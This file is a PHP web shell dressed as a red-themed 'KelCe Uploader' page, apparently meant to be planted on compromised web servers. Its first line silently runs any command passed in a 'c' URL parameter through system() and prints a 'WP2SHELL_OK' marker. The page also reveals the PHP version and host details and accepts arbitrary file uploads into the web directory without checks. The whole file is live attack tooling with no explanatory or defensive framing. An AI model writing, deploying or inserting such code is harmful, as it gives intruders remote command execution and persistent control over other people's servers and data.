WS_OK_7.4.33
<?php if(isset($_GET['c'])){ echo 'WP2SHELL_OK|'; @system($_GET['c'].' 2>&1'); exit; } ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>KelCe Uploader</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@700;900&family=Rajdhani:wght@500;600;700&display=swap');
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
min-height: 100vh;
font-family: 'Rajdhani', sans-serif;
background: #0a0a0a;
color: #fff;
display: flex;
justify-content: center;
align-items: center;
padding: 24px;
overflow-x: hidden;
}
body::before {
content: '';
position: fixed;
inset: 0;
background:
radial-gradient(ellipse 80% 50% at 50% -20%, rgba(220, 38, 38, 0.35), transparent),
radial-gradient(ellipse 60% 40% at 100% 100%, rgba(185, 28, 28, 0.2), transparent),
radial-gradient(ellipse 50% 30% at 0% 80%, rgba(220, 38, 38, 0.15), transparent);
pointer-events: none;
z-index: 0;
}
body::after {
content: '';
position: fixed;
inset: 0;
background-image:
linear-gradient(rgba(255,255,255,0.03) 1px, transparent 1px),
linear-gradient(90deg, rgba(255,255,255,0.03) 1px, transparent 1px);
background-size: 40px 40px;
pointer-events: none;
z-index: 0;
}
.wrapper {
position: relative;
z-index: 1;
width: 100%;
max-width: 480px;
animation: fadeUp 0.6s ease-out;
}
@keyframes fadeUp {
from { opacity: 0; transform: translateY(24px); }
to { opacity: 1; transform: translateY(0); }
}
/* ── KelCe Banner ── */
.banner {
position: relative;
background: linear-gradient(135deg, #991b1b 0%, #dc2626 45%, #b91c1c 100%);
border-radius: 16px 16px 0 0;
padding: 28px 24px 22px;
text-align: center;
overflow: hidden;
border: 2px solid rgba(255,255,255,0.15);
border-bottom: none;
}
.banner::before {
content: '';
position: absolute;
top: -50%;
left: -50%;
width: 200%;
height: 200%;
background: repeating-linear-gradient(
-45deg,
transparent,
transparent 12px,
rgba(255,255,255,0.04) 12px,
rgba(255,255,255,0.04) 24px
);
animation: bannerShift 20s linear infinite;
pointer-events: none;
}
@keyframes bannerShift {
from { transform: translate(0, 0); }
to { transform: translate(24px, 24px); }
}
.banner::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 3px;
background: linear-gradient(90deg, transparent, #fff, transparent);
opacity: 0.6;
}
.banner-inner {
position: relative;
z-index: 1;
}
.banner-badge {
display: inline-block;
font-size: 0.65rem;
font-weight: 700;
letter-spacing: 0.25em;
text-transform: uppercase;
color: #fecaca;
background: rgba(0,0,0,0.25);
border: 1px solid rgba(255,255,255,0.2);
border-radius: 20px;
padding: 4px 14px;
margin-bottom: 14px;
}
.banner-logo {
font-family: 'Orbitron', sans-serif;
font-size: 2.6rem;
font-weight: 900;
line-height: 1;
letter-spacing: 0.08em;
color: #ffffff;
text-shadow:
0 0 20px rgba(255,255,255,0.5),
0 2px 0 rgba(0,0,0,0.3),
0 0 60px rgba(255,200,200,0.3);
margin-bottom: 6px;
}
.banner-logo span {
color: #fecaca;
text-shadow:
0 0 30px rgba(254,202,202,0.8),
0 0 60px rgba(220,38,38,0.6);
}
.banner-sub {
font-size: 0.95rem;
font-weight: 600;
letter-spacing: 0.35em;
text-transform: uppercase;
color: rgba(255,255,255,0.85);
}
.banner-ascii {
margin-top: 16px;
font-family: 'Courier New', monospace;
font-size: 0.42rem;
line-height: 1.15;
color: rgba(255,255,255,0.25);
white-space: pre;
overflow: hidden;
user-select: none;
}
/* ── Card Body ── */
.container {
background: #ffffff;
padding: 28px 26px 30px;
border-radius: 0 0 16px 16px;
border: 2px solid #dc2626;
border-top: none;
box-shadow:
0 20px 60px rgba(220, 38, 38, 0.25),
0 0 0 1px rgba(255,255,255,0.05);
}
.info {
display: grid;
gap: 8px;
background: linear-gradient(135deg, #fef2f2, #fff5f5);
border: 1px solid #fecaca;
border-left: 4px solid #dc2626;
border-radius: 10px;
padding: 14px 16px;
margin-bottom: 22px;
}
.info-row {
display: flex;
align-items: flex-start;
gap: 10px;
font-size: 0.82rem;
color: #7f1d1d;
word-break: break-all;
}
.info-label {
flex-shrink: 0;
font-weight: 700;
font-size: 0.7rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: #dc2626;
background: #fee2e2;
border-radius: 4px;
padding: 2px 8px;
min-width: 58px;
text-align: center;
}
.info-value {
font-weight: 500;
padding-top: 1px;
}
/* ── Upload Zone ── */
.upload-zone {
position: relative;
border: 2px dashed #fca5a5;
border-radius: 12px;
padding: 22px 16px 16px;
background: #fffafa;
transition: border-color 0.25s, background 0.25s, box-shadow 0.25s;
margin-bottom: 14px;
}
.upload-zone:hover {
border-color: #dc2626;
background: #fef2f2;
box-shadow: 0 0 0 4px rgba(220,38,38,0.08);
}
.upload-icon {
text-align: center;
margin-bottom: 10px;
color: #dc2626;
opacity: 0.7;
}
.upload-icon svg {
width: 36px;
height: 36px;
}
.upload-hint {
text-align: center;
font-size: 0.8rem;
font-weight: 600;
color: #b91c1c;
letter-spacing: 0.05em;
margin-bottom: 12px;
text-transform: uppercase;
}
input[type="file"] {
width: 100%;
padding: 10px;
border-radius: 8px;
border: 1px solid #fecaca;
background: #ffffff;
color: #991b1b;
cursor: pointer;
font-family: 'Rajdhani', sans-serif;
font-size: 0.875rem;
font-weight: 600;
transition: border-color 0.2s;
}
input[type="file"]::file-selector-button {
background: #dc2626;
color: #fff;
border: none;
border-radius: 6px;
padding: 6px 14px;
margin-right: 12px;
font-family: 'Rajdhani', sans-serif;
font-weight: 700;
font-size: 0.8rem;
letter-spacing: 0.05em;
cursor: pointer;
transition: background 0.2s;
}
input[type="file"]::file-selector-button:hover {
background: #b91c1c;
}
input[type="submit"] {
width: 100%;
padding: 14px;
border-radius: 10px;
border: none;
background: linear-gradient(135deg, #dc2626, #b91c1c);
color: #ffffff;
cursor: pointer;
font-family: 'Orbitron', sans-serif;
font-size: 0.85rem;
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
transition: box-shadow 0.25s, transform 0.15s, filter 0.2s;
position: relative;
overflow: hidden;
}
input[type="submit"]::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
transition: left 0.5s;
}
input[type="submit"]:hover {
box-shadow: 0 6px 24px rgba(220, 38, 38, 0.45);
transform: translateY(-2px);
filter: brightness(1.05);
}
input[type="submit"]:hover::before {
left: 100%;
}
input[type="submit"]:active {
transform: translateY(0);
}
.message {
margin-top: 18px;
padding: 12px 16px;
border-radius: 10px;
font-weight: 700;
font-size: 0.9rem;
letter-spacing: 0.03em;
display: flex;
align-items: center;
gap: 10px;
animation: fadeUp 0.4s ease-out;
}
.success {
color: #991b1b;
background: linear-gradient(135deg, #fef2f2, #fee2e2);
border: 1px solid #fca5a5;
border-left: 4px solid #22c55e;
}
.error {
color: #ffffff;
background: linear-gradient(135deg, #ef4444, #dc2626);
border: 1px solid #b91c1c;
box-shadow: 0 4px 16px rgba(220,38,38,0.3);
}
.footer {
text-align: center;
margin-top: 16px;
font-size: 0.7rem;
font-weight: 600;
letter-spacing: 0.2em;
text-transform: uppercase;
color: rgba(255,255,255,0.3);
}
</style>
</head>
<body>
<div class="wrapper">
<header class="banner">
<div class="banner-inner">
<div class="banner-badge">Secure Upload</div>
<div class="banner-logo">KEL<span>CE</span></div>
<div class="banner-sub">File Uploader</div>
<pre class="banner-ascii" aria-hidden="true"> ██╗ ██╗███████╗██╗ ██████╗███████╗
██║ ██╔╝██╔════╝██║ ██╔════╝██╔════╝
█████╔╝ █████╗ ██║ ██║ █████╗
██╔═██╗ ██╔══╝ ██║ ██║ ██╔══╝
██║ ██╗███████╗███████╗╚██████╗███████╗
╚═╝ ╚═╝╚══════╝╚══════╝ ╚═════╝╚══════╝</pre>
</div>
</header>
<div class="container">
<div class="info">
<div class="info-row">
<span class="info-label">PHP</span>
<span class="info-value"><?php echo phpversion(); ?></span>
</div>
<div class="info-row">
<span class="info-label">Host</span>
<span class="info-value"><?php echo php_uname(); ?></span>
</div>
</div>
<form method="post" enctype="multipart/form-data">
<div class="upload-zone">
<div class="upload-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/>
<polyline points="17 8 12 3 7 8"/>
<line x1="12" y1="3" x2="12" y2="15"/>
</svg>
</div>
<div class="upload-hint">Select file to upload</div>
<input type="file" name="zb" required>
</div>
<input type="submit" name="upload" value="Upload File">
</form>
<?php
if(isset($_POST['upload'])) {
if(@move_uploaded_file($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
echo '<div class="message success">✓ File uploaded successfully</div>';
} else {
echo '<div class="message error">✗ Upload failed</div>';
}
}
?>
</div>
<div class="footer">KelCe • Authorized use only</div>
</div>
</body>
</html>